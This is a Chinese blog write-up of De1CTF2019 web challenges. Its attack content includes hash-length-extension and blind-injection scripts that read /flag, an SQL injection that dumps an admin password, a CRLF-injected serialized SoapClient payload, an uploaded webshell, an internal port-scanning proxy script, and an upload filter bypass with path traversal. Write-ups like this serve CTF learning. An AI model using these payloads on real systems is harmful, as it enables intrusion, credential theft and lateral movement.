k0t0r1

De1CTF2019 web wp
之前各种比赛还有开发拖了一堆时间,鸽到了现在才写完OrzXman期间的一场国际赛,有自己学校大佬出的题于是去做了一...
扫描右侧二维码阅读全文
30
2019/11

De1CTF2019 web wp

之前各种比赛还有开发拖了一堆时间,鸽到了现在才写完Orz
Xman期间的一场国际赛,有自己学校大佬出的题于是去做了一波,感觉好多原题。但我还是要说一句BUUCTF牛逼!

SSRF Me

先读读源码

@app.route('/')
def index():
    return f.open("code.txt",'r').read()

/读取直接给源码

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign(): 
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

/geneSign提供key+param+”sacn”的md5值

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))  readscan
    param = urllib.unquote(request.args.get("param", "")) flag.txt
    sign = urllib.unquote(request.cookies.get("sign")) md5(key+flag.txtread+scan)
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return task.Exec()
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

/De1ta是这题的关键,获得param,sign,action后,waf检测是否有gopher和file,这里就不能用这两个协议读了

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                return resp
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(url).read()[:50]
    except:
        return "Connection Timeout"

然后是这个Task类,可以看到根据ip生成了沙盒防止互相读取。然后exec()中会检查key+param+action的md5值是否与sign值相等,相等若action为scan则读取param对应的文件并写入result.txt。为read时则将result.txt读出

那思路就很清晰了,用scan读取flag,然后哈希拓展绕过检查再read读出flag

但是做题时一直在想gopher和file这些协议被过滤了,有什么其他协议能用。做到后面发现urlopen其实可以用flag.txt打开当前目录下的文件,测试了几下,好像没用上任何协议时,会默认用file协议读

接下来就好搞了,用/geneSign?param=flag.txt获取哈希值然后访问/De1ta?param=flag.txtcookie:action=scan读取flag。然后再用/geneSign一波获取哈希值,接着哈希长度扩列获得scan%80%00.....%a0%00...read的哈希值

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import my_md5

samplehash="e0875c4e6149bc7fd90b7ed1548b04df"

s = []
s.append(samplehash[0:8])
s.append(samplehash[8:16])
s.append(samplehash[16:24])
s.append(samplehash[24:32])

p = []
for i in s:
    p.append(i[6:8]+i[4:6]+i[2:4]+i[0:2])
s1 = int(p[0],16)
s2 = int(p[1],16)
s3 = int(p[2],16)
s4 = int(p[3],16)

num = 16
secret = "a"*num    
secret_str = secret+'scan'+'\x80'
value = 'read'
padding = 64-len(secret_str)-8
secret_str = secret_str+'\x00'*padding+"\xa0"+"\x00"*7+value
print len(secret_str)

r = my_md5.deal_rawInputMsg(secret_str)
inp = r[len(r)/2:]
print inp
print "getmein:"+my_md5.run_md5(s1,s2,s3,s4,inp)

但是发现param传%7f以上会导致服务器问题(应该是get请求的问题),懵逼了好久发现action只是检测存在并不是相等,于是cookie一波拿flag

# -*- coding:utf-8 -*- 
from Crypto.Util.strxor import strxor
from base64 import *
import requests

num = 16            
secret = "a"*num    
secret_str = secret+'scan'+'\x80'    
value = 'read'            
padding = 64-len(secret_str)-8
secret_str = '%80'+'%00'*padding+"%a0"+"%00"*7+value

url = r'http://139.180.128.86/De1ta?param=scan'
cookie = {'action': secret_str,'sign': '4e5e3cd2e040a695869c672ada5af0dd'}
http = requests.get(url,cookies=cookie)

print http.content

然后看到有其他大佬用了load_file:xxx这样去读
还有最牛逼的操作就是/geneSign?param=flag.txtread拿一波哈希值,然后/De1ta?param=flag.txtcookie:action=readscan,这样就能不用哈希长度扩列。然后可以看到scan和read的if并不是连在一起的,是分开判断的,也就是说能同时触发这两个。然后一波就那道flag了【跪

不过这题本意是要用CVE-2019-9948这个漏洞来解的,有时间再看看吧

9calc

这题是RCTF的calcalcalc的修补版,估计也是zsx师傅一开始的预期解吧。这次对ts部分是怎么运作更加了解了,补一下RCTF那留下的坑

首先是main.ts

app.useGlobalPipes(new ValidationPipe({
    disableErrorMessages: true,
}));

主要关注这部分代码,设置了全局验证功能

然后就是最重要的app.controller.ts的calculate部分

@Post('/calculate')
calculate(@Body() calculateModel: CalculateModel, @Res() res: Response)

这里将@Body,也就是req.body给传入了calculateModel中

export default class CalculateModel {

    @IsNotEmpty()
    @ExpressionValidator(15, {
        message: 'Invalid input',
    })
    public readonly expression: string;

    @IsBoolean()
    public readonly isVip: boolean = false;
}

然后calculateModel中的expression就被赋予了post过来的expression的值,然后就是验证器

export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) {
    return (object: Object, propertyName: string) => {
        registerDecorator({
            name: 'ExpressionValidator',
            target: object.constructor,
            propertyName,
            constraints: [property],
            options: validationOptions,
            validator: {
                validate(value: any, args: ValidationArguments) {
                    const str = value ? value.toString() : '';
                    if (str.length === 0) {
                        return false;
                    }
                    if (!(args.object as CalculateModel).isVip) {
                        if (str.length >= args.constraints[0]) {
                            return false;
                        }
                    }
                    if (!/^[0-9a-z\[\]\+\-\*\/ \t]+$/i.test(str)) {
                        return false;
                    }
                    return true;
                },
            },
        });
   };
}

这个验证器的目标只是用来验证一个数据的,因此value:any得到的值便是expression的值。然后可以看到相较calcalcalc,这里的正则少了(),这也就防止了之前的非预期解

回到app.controller.ts上

const serializedBson = bson.serialize(calculateModel);
const urls = ['10.0.20.11', '10.0.20.12', '10.0.20.13'];
bluebird.map(urls, async (url) => {
    return Axios.post(`http://${url}/`, serializedBson, {
        headers: {
            'Content-Type': 'text/plain',
        },
        responseType: 'arraybuffer',
        timeout: 50
    }).catch(e => {
        return { data: e.message, headers: [] };
    });
}).all().then((responses) => {
    const jsonResponses = responses.map(p => {
        try {
            return bson.deserialize(p.data);
        } catch (e) {
            return p.data.toString('utf-8');
        }
    });
    const set = new Set(jsonResponses.map(p => JSON.stringify(p)));
    this.logger.log(`Expression = ${JSON.stringify(calculateModel.expression)}`);
    this.logger.log('Ret = ' + JSON.stringify(jsonResponses));
    if (set.size === 1) {
        const rand = Math.floor(Math.random() * responses.length);
        Object.keys(responses[rand].headers).forEach((key) => {
            if (!blackList.includes(key.toLowerCase())) {
                res.setHeader(key, responses[rand].headers[key]);
            }
        });
        res.json(jsonResponses[rand]);
        res.end();
    } else {
        res.end('That\'s classified information. - Asahina Mikuru');
    }
}).catch((e) => {
    res.status(500).json({ ret: 'Internal error' }).end();
    this.logger.error(e.message, e.trace);
});

接下部分的代码,将calculateModel进行bson序列化,然后分别发向三个部署在内网的程序,继而获得响应再将其反序列化赋给p
接着再将p进行json序列化后并去重(这里其实不太懂到底是所有结果都在p中然后被序列化,还是三个结果各自被序列化后放在一个数组。不过去重是对数组感觉像是后者,但代码上看起来又不是,一个p被赋三个值感觉不太对。先留个坑日后用nestjs试试看Orz)。去重结果也就是set.size为1时返回数据,否则报错

之前在calcalcalc用isVips绕长度限制时没说清楚,能够用json传值然后赋给isVip是因为express的默认解析是支持json的,这点去查看文档就能看到

2.x版本的

4.x版本的

读源码可看出

因此接收到的json格式的数据能够传入calculateModel,把isVip的值给覆盖成功绕过长度限制

长度绕过后就是这个令人头大的正则,由于少了()不能通过双eval去盲注,只能想办法绕过这个正则
这里要利用js将json类型处理为字符串时,会处理为[Object Object]

只要我们传入的expression为json类型,toString()后就会变为[Object Object],从而绕过正则检验。当然这里对原数据是没影响的,本来就没有在原数据上进行操作

但有个问题在于,在nodejs端

app.post('/', (req, res) => {
    const body = req.body
    const data = bson.deserialize(Buffer.from(body))
    const ret = eval(data.expression.toString())
    res.write(bson.serialize({ ret: ret.toString() }))
    res.end()
})

可以看到对传入的数据进行了toString(),导致数据不能使用。而这题将flag放在的三处,无法忽略掉这个问题

绕过这里需要利用mongoDB对bson反序列化时的一个特性
js-bson/lib/parser/serializer.js

else if (value['_bsontype'] === 'Binary') {
    index = serializeBinary(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Symbol') {
    index = serializeSymbol(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'DBRef') {
    index = serializeDBRef(buffer, key, value, index, depth, serializeFunctions, true);
} else if (value['_bsontype'] === 'BSONRegExp') {
    index = serializeBSONRegExp(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'Int32') {
    index = serializeInt32(buffer, key, value, index, true);
} else if (value['_bsontype'] === 'MinKey' || value['_bsontype'] === 'MaxKey') {
    index = serializeMinMax(buffer, key, value, index, true);
} else if (typeof value['_bsontype'] !== 'undefined') {
    throw new TypeError('Unrecognized or invalid _bsontype: ' + value['_bsontype']);
}

读源码可以看出在bson数据在进行反序列化时,会根据对象中_bsontype的值,将对象的value转化为对应的类型

假如一个bson序列化字符串为
{'a':{'value':'xxx','_bsontype':'Binary'}}
那么在反序列化后,a就会被强制转为二进制类型,值依旧为xxx

利用这点进行测试,会发现当类型为Symbol时能够绕过,于是利用构造payload

payload很巧妙的利用了php,python和nodejs在单行和多行注释上的不同,大佬们实在tql

打python

1//1 and ord(open('/flag').read()[0]) > -1 and 1\n

php和nodejs由于注释恒为1,python由于//为除号继续运行,根据读出的值条件是否正确返回1或false。为1时显示正常,false则报错,以此盲注

打php

len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}?>*///'''

在python中,由于'''为多行注释,于是无视n的分行,直接注释到结尾,只剩下len('1') + 0//5 or 部分,结果恒为1(不知道为啥不跟后面的注释就会报错,但跟上的后面的注释就能成功的输出1,这也在大佬们的计算中吗!

在nodejs中,//为单行注释,于是n后的部分便不再注释范围内。而/**/为多行注释于是执行的代码就只剩下

len('1') + 0
1;function len(){return 1}

执行结果恒为1

在php中,同样//为单行注释,这里还利用了<?php?>直接将外部的代码无视掉,于是执行的代码就是

return len('1') + 0?>
<?php
function len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}}?>

由于是结尾,于是可以不使用;。然后定义了len函数读取比较,当值相等时返回1,否则返回2,于是与python盲注同理
这里其实觉得不用bson序列化也行,毕竟后面还有一个序列化再输出的

打nodejs

1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;//'''

这条不是官方的payload,不过我觉得没必要再给php专门写个open(),有点多余
在python下1 + 0//5 or 直接输出1,在php下1 + 0也是输出1

在nodejs下,这剩下的代码为

1 + 0
require('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;

总觉得这个会返回前面的恒为1,而不是后面那个,感觉不太靠谱的亚子

然后把payload放入传输的数据中,写脚本盲注即可
{'expression':{'value':'payload','_bsontype':'Symbol'},'isVip':true}

# -*- coding: UTF-8 -*-、
import requests

url = "http://33b3ae01-10a6-419c-a822-956b08f91f04.node3.buuoj.cn/calculate"
ua_header = {"Content-Type": "application/json",}
sign = "'0123456789abcdefghijklmnopqrstuvwxyz{}_"

flag = ''

for i in range(48):
    for j in sign:
        # python
        # data = "1//1 and ord(open('/flag').read()["+str(i)+"]) == "+str(ord(j))+" and 1\\n"
        # php
        # data = "len('1') + 0//5 or '''\\n//?>\\n1;function len(){return 1}/*<?php\\nfunction len($a){echo MongoDB\\\\BSON\\\\fromPHP(['ret' => file_get_contents('/flag')["+str(i)+"] == '"+j+"' ? \\\"1\\\" : \\\"2\\\"]);exit;}?>*///'''"
        # nodejs
        # data = "1 + 0//5 or '''\\n//?>\\nrequire('fs').readFileSync('/flag','utf-8')["+str(i)+"] == '"+j+"' ? 1 : 2;//'''"

        payload = "{\"expression\":{\"value\":\""+data+"\",\"_bsontype\":\"Symbol\"},\"isVip\":true}"
        print payload
        request = requests.post(url, headers = ua_header, data=payload)
        content = request.content
        if 'ret' in content:
            flag += j
            break
    print flag

ShellShellShell

进入是个葛优瘫的登录界面,有个md5截断,用脚本跑一下就ok

登陆进去后能发送消息,不过好像只能自己看到不太像xss。然后尝试php://filter被过滤了,接着尝试各种源码泄露,发现了swp的泄露

于是拿下源码,恢复一下.index.php.swp

<?php

require_once 'user.php';
$C = new Customer();
if(isset($_GET['action']))
{
    $action=$_GET['action'];
    $allow=0;
    $white_action = "delete|index|login|logout|phpinfo|profile|publish|register";
    $vpattern = explode("|",$white_action);
    foreach($vpattern as $key=>$value)
    {
        if(preg_match("/$value/i", $action ) &&  (!preg_match("/\//i",$action))   )
        {
            $allow=1;
        }
    }
    if($allow==1)
    {require_once 'views/'.$_GET['action'];}
    else {
        die("Get out hacker!<br>jaivy's laji waf.");
    }
}
else
header('Location: index.php?action=login');

可以看到实例化了一个Customer类,并且只允许几个白名单的字符串,同时引入了ues.php
于是拿一下user.php的源码

require_once 'config.php';

class Customer{

可以看到有一个Customer类,同时又引入了一个config.php,继续拿
再config.php中可以看到,用了全局过滤

function addslashes_deep($value)
{
    if (empty($value))
    {
        return $value;
    }
    else
    {
        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);
    }
}
function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

这就有点不好搞了

拿到这几个源码后,再去试试看能不能取到发布消息和显示消息页面,网站的主要功能是这两个,漏洞可能也在这里
尝试了几次后发现/view/publish.swp/view/index.swp能够拿到源码

先看publish部分

if($C->is_admin==0) {
    if (isset($_POST['signature']) && isset($_POST['mood'])) {
        $res = @$C->publish();
        if($res){
            echo "<script>alert('ok');self.location='index.php?action=index'; </script>";
            exit;
        }
        else {
            echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
            exit;
        }
else{
echo "Hello ".$C->username."<br>";
echo "Orz...大佬果然进来了!<br>但jaivy说flag不在这,要flag,来内网拿...<br>";
    if(isset($_FILES['pic'])){
        $res = @$C->publish();
        if($res){
            echo "<script>alert('ok');self.location='index.php?action=publish'; </script>";
            exit;
        }
        else {
            echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
        }
    }

?>

当是非admin,差别是有否文件上传的功能,那应该就是要想办法去登录admin账号

先继续看publish()

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) 
                {
                    $dir='/app/upload/';
                    move_uploaded_file($_FILES['pic']['tmp_name'],$dir.$_FILES['pic']['name']);
                    echo "<script>alert('".$_FILES['pic']['name']."upload success');</script>";
                    return true;
                }
                else
                    return false;


        }

    }

调用了insert(),继续读

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

可以看到用了get_column()对值进行了处理,在各值两侧加上反引号。然后由于是用来处理列的,于是处理值是要对值将`转为'。
/`([^`,]+)`/这个表达式匹配的是,两个反引号间不存在`和,的字符串。\'${1}\'则是将两端的`替换为'

这顿操作就提供了注入的可能,由于反引号是不会被addslashes()转义,就可以用thx经处理后转为',然后注释掉后面的数据即可。比如像a`)#,经get_column后为 `a`)#` ,再进过正则就转为了'a')#` ,成功逃逸出来。不过想想有了这个就算没看到前面那个全局过滤好像也没啥影响

看官方wp是用盲注注出来的,不过既然有回显就没必要盲注那么麻烦,而且连sql语句的结构都知道了,可以构造一下直接回显注入出来

payload(两端要有空格):

`+(select conv(substr(hex((select password from ctf_users where username = `admin`)),1,10),16,10))+`  
c991707fdf339958eded91331fb11ba0
Jaivypassword

脚本手工都行,不过每段要分开十进制转16进制,然后再合并起来16进制转字符串。md5解密一下即可
不过比赛时可能是出了bug,直接刷着刷着就刷出了密码

然后登录一下

提示需要常用的ip,八成是要本地地址才行,尝试改了一下X-Forward-For不行,那估计就是要soap类了

看源码index.php允许action中传入phpinfo,于是看一下phpinfo,发现确实有soap类可以使用

那接下来就是要找一个反序列化的点

在publish()中可以看到

$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));

mood类被序列化后存入了数据库,那在取出时应该需要进行反序列化。于是去index页面看看
$data = $C->showmess();
调用了showmess()
$mood = unserialize($row[2]);
在showmess()中也确实找到了将取出的数据进行了反序列化,那么要利用的点就在这里

看代码可以知道,无论怎么控制mood的值,都是无法产生soap类。那就只能继续利用signature,将后面的mood给覆盖掉
于是要构造一个soap对象,cookie中有PHPSESSID,数据包含用户名、密码和验证码。通过一个用户发送读取消息,让另一个PHPSESSID的用户登录admin账户

之前比赛的时候只是用了下,没用认真研究soap类的请求是什么样的,这里就分析一下

查php手册可以看到,构造函数中有两个参数

第一个参数用来控制是否为wsdl模式,传入url为wsdl,传入null则不为wsdl模式

当不为wsdl模式时,必须在option数组中设置location和uri。而且当为wsdl模式时会受到wsdl文件的限制(这是啥???),那自然要选择非wsdl模式

在选择非wsdl模式后,有以上这几个参数可以放入option

接下来尝试一下发个soap请求,看看具体的报文内容是什么样的

$a = new SoapClient(null,array('location' => "http://ip:port",'uri' => "123"));
$c = serialize($a);
$k = unserialize($c);
$k->getcountry();

这里要反序列化后调用个方法,不然发不出报文(不太懂为啥
然后监听一下端口

可以看到soap发出的数据是以xml的方式发送的,但要post数据的话,需要将Content-Type设成application/x-www-form-urlencoded
这里就要利用option中的user_agent参数,可以看到User-Agent是在Content-Type之上的,可以通过设置User-Agent往头部注入各种想要构造的信息

$a = new SoapClient(null,array('user_agent' => "test\r\nCookie:PHPSESSID=123456\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\rxxx=xxx"'location' => "http://ip:port",'uri' => "123"));
$c = serialize($a);
$k = unserialize($c);
$k->getcountry();

这里往user_agent中放入了Cookie,Content-Type,Content-Length以及post的数据,由于User-Agent在上方,直接将下面的数据给覆盖掉

再监听一次端口,可以看到对报文的注入成功了

于是针对这题修改一下

<?php
$location = "http://127.0.0.1/index.php?action=login";
$uri = "http://127.0.0.1/";
$soap = new SoapClient(null, array('user_agent' => "test\r\nCookie:PHPSESSID=tt98rf3ebp2tuivl0m973gjdr3\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\r\nusername=admin&password=jaivypassword&code=RTwZnHELJjCivxEsApoc&xxx=",'location' => $location,'uri' => $uri));
$s = serialize($soap);
echo urlencode($s);

用xxx=将报文剩余部分作为xxx的值,以防万一
payload:

signature=1`,`O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A39%3A%22http%3A%2F%2F127.0.0.1%2Findex.php%3Faction%3Dlogin%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A189%3A%22test%0D%0ACookie%3APHPSESSID%3Djtgn11ggnfgr2g7rcfbhk2c894%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A100%0D%0A%0D%0Ausername%3Dadmin%26password%3Djaivypassword%26code%3DomYcKyq1Vplp4vmwBtiw%26xxx%3D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D`)#&mood=0

n和r不能少,不然会导致报文构造失败识别不到对应的数据,比赛时没注意到这么多导致有时能登录有时不能

登录成功后进入publish

传一句话木马扫了一下目录并没有找到flag,那应该是在内网的另一台主机上

于是先执行ifconfig查一下ip段

可以看到,这个站在内网的网段是172.64.164.0,于是传一个扫描脚本上去扫

<?php

set_time_limit(0);//设置程序执行时间
ob_implicit_flush(True);
ob_end_flush();
$url = isset($_REQUEST['url'])?$_REQUEST['url']:null;

/*端口扫描代码*/
function check_port($ip,$port,$timeout=0.1){
    $conn = @fsockopen($ip, $port, $errno, $errstr, $timeout);
    if($conn){
        fclose($conn);
        return true;
    }
}

function scanip($ip,$timeout,$portarr){
    foreach($portarr as $port){
        if(check_port($ip,$port,$timeout=0.1)==True){
            echo 'Port: '.$port.' is open<br/>';
            @ob_flush();
            @flush();
        }
    }
}

echo '<html>
    <form action="" method="post">
    <input type="text" name="startip" value="Start IP" />
    <input type="text" name="endip" value="End IP" />
    <input type="text" name="port" value="80,8080,8888,1433,3306" />
    Timeout<input type="text" name="timeout" value="10" /><br/>
    <button type="submit" name="submit">Scan</button>
    </form>
    </html>
';
 
if(isset($_POST['startip'])&&isset($_POST['endip'])&&isset($_POST['port'])&&isset($_POST['timeout'])){
    $startip=$_POST['startip'];
    $endip=$_POST['endip'];
    $timeout=$_POST['timeout'];
    $port=$_POST['port'];
    $portarr=explode(',',$port);
    $siparr=explode('.',$startip);
    $eiparr=explode('.',$endip);
    $ciparr=$siparr;
    if(count($ciparr)!=4||$siparr[0]!=$eiparr[0]||$siparr[1]!=$eiparr[1]){
        exit('IP error: Wrong IP address or Trying to scan class A address');
    }
    if($startip==$endip){
        echo 'Scanning IP '.$startip.'<br/>';
        @ob_flush();
        @flush();
        scanip($startip,$timeout,$portarr);
        @ob_flush();
        @flush();
        exit();
    }

    if($eiparr[3]!=255){
        $eiparr[3]+=1;
    }
    while($ciparr!=$eiparr){
        $ip=$ciparr[0].'.'.$ciparr[1].'.'.$ciparr[2].'.'.$ciparr[3];
        echo '<br/>Scanning IP '.$ip.'<br/>';
        @ob_flush();
        @flush();
        scanip($ip,$timeout,$portarr);
        $ciparr[3]+=1;

        if($ciparr[3]>255){
            $ciparr[2]+=1;
            $ciparr[3]=0;
        }
        if($ciparr[2]>255){
            $ciparr[1]+=1;
            $ciparr[2]=0;
        }
    }
}

/*内网代理代码*/

function getHtmlContext($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);//表示需要response header
    curl_setopt($ch, CURLOPT_NOBODY, FALSE); //表示需要response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    global $header;
    if($result){
        $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
        $header = explode("\r\n",substr($result, 0, $headerSize));
        $body = substr($result, $headerSize);
    }
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '200'){
        return $body;
    }
    if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == '302') {
        $location = getHeader("Location");
        if(strpos(getHeader("Location"),'http://') == false){
            $location = getHost($url).$location;
        }
        return getHtmlContext($location);
    }
    return NULL;
}

function getHost($url){
    preg_match("/^(http:\/\/)?([^\/]+)/i",$url, $matches);
    return $matches[0];
}
function getCss($host,$html){
    preg_match_all("/<link[\s\S]*?href=['\"](.*?[.]css.*?)[\"'][\s\S]*?>/i",$html, $matches);
    foreach($matches[1] as $v){
        $cssurl = $v;
        if(strpos($v,'http://') == false){
            $cssurl = $host."/".$v;
        }
        $csshtml = "<style>".file_get_contents($cssurl)."</style>";
        $html .= $csshtml;
    }
    return $html;
}

if($url != null){
    $host = getHost($url);
    echo getCss($host,getHtmlContext($url));
}
?>

这个脚本是在网上随便找的,凑合着用= =

扫到了好几个地址80端口开启,可能是BUU上其它题的端口?访问下.7附近的试试看先
在.8成功访问到,是个上传页面

<?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
    if (!is_array($filename)) {
        $filename = explode('.', $filename);
    }
    $ext = end($filename);
    if($ext==$filename[count($filename) - 1]){
        die("try again!!!");
    }
    $new_name = (string)rand(100,999).".".$ext;
    move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
    $_ = $_POST['hello'];
    if(@substr(file($_)[0],0,6)==='@<?php'){
        if(strpos($_,$new_name)===false) {
            include($_);
        } else {
            echo "you can do it!";
        }
    }
    unlink($new_name);
}
else{
    highlight_file(__FILE__);
}

要上传文件首先要先绕过这里。这里当filename非数组时,以.将filename分割,然后取数组最后一个与下标为长度减一的值比较,相等直接die
我们知道,当一个数组为关联数组时,count(array)-1获得的下标是无法得到有效的值的。这里也是利用这点,我们处理一下报文,让文件名为一个关联数组,就能让$filename[count($filename) - 1]的值无效,而end($filename)依旧会取到最后一个数据,从而绕过这里

-----------------------------1290214079214
Content-Disposition: form-data; name="file[b]"

xx
-----------------------------1290214079214
Content-Disposition: form-data; name="file[a]"

xxxx
-----------------------------1290214079214--

大概像这样
还有一种解法是php并不是按数字排序的,所以也可以传一个['1'=>'xxx','0'=>'xx']进行绕过

然后是下半部分,要想办法阻止unlink
这里有几种解法

利用php7的文件包含漏洞,当include('php://filter/string.strip_tags/resource=/etc/passwd')时,php就会崩溃,继而不执行unlink

利用include('index.php')包含自身,让php死循环崩溃。这样就能让文件保留在服务器上,然后再去跑new_name的值就行

还有一种方法是,既然ext的值是可以控制的,那我们可以构造一下,让ext为php/../xx.php,这样我们就能够控制文件名,不需去爆破,直接在unlink前include就能获得内容

这里用最后一种解法,报文大概像这样

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="flag.php"
Content-Type: false

@<?php echo 1;
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hello"

flag.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[2]"

222
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[1]"

111
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file[0]"

/../flag.php
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundary7MA4YWxkTrZu0gW--

然后借用一下大佬们的脚本改改

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => "http://172.64.72.8",
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"flag.php\"\r\nContent-Type: false\r\n\r\n@<?php echo 1;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nflag.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../flag.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

然后找呀找呀,最终在etc中找到了flag

【我也想用find,然而会超时

Giftbox

这题当时打开没什么想法就放弃了,现在想想至少也要做到sql注入那里才对

打开是个很漂亮的前端页面,等了一下后提示输入help

提示了这几个命令,于是ls一下

读一下这几个

只有usage.md能读出来,其它两个看起来像文件夹然而进不去

接着login登不了于是抓下包

尝试发包但响应totp error
而直接通过浏览器发送的则正常返回

于是去看一下totp这个参数是做什么的

url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(),

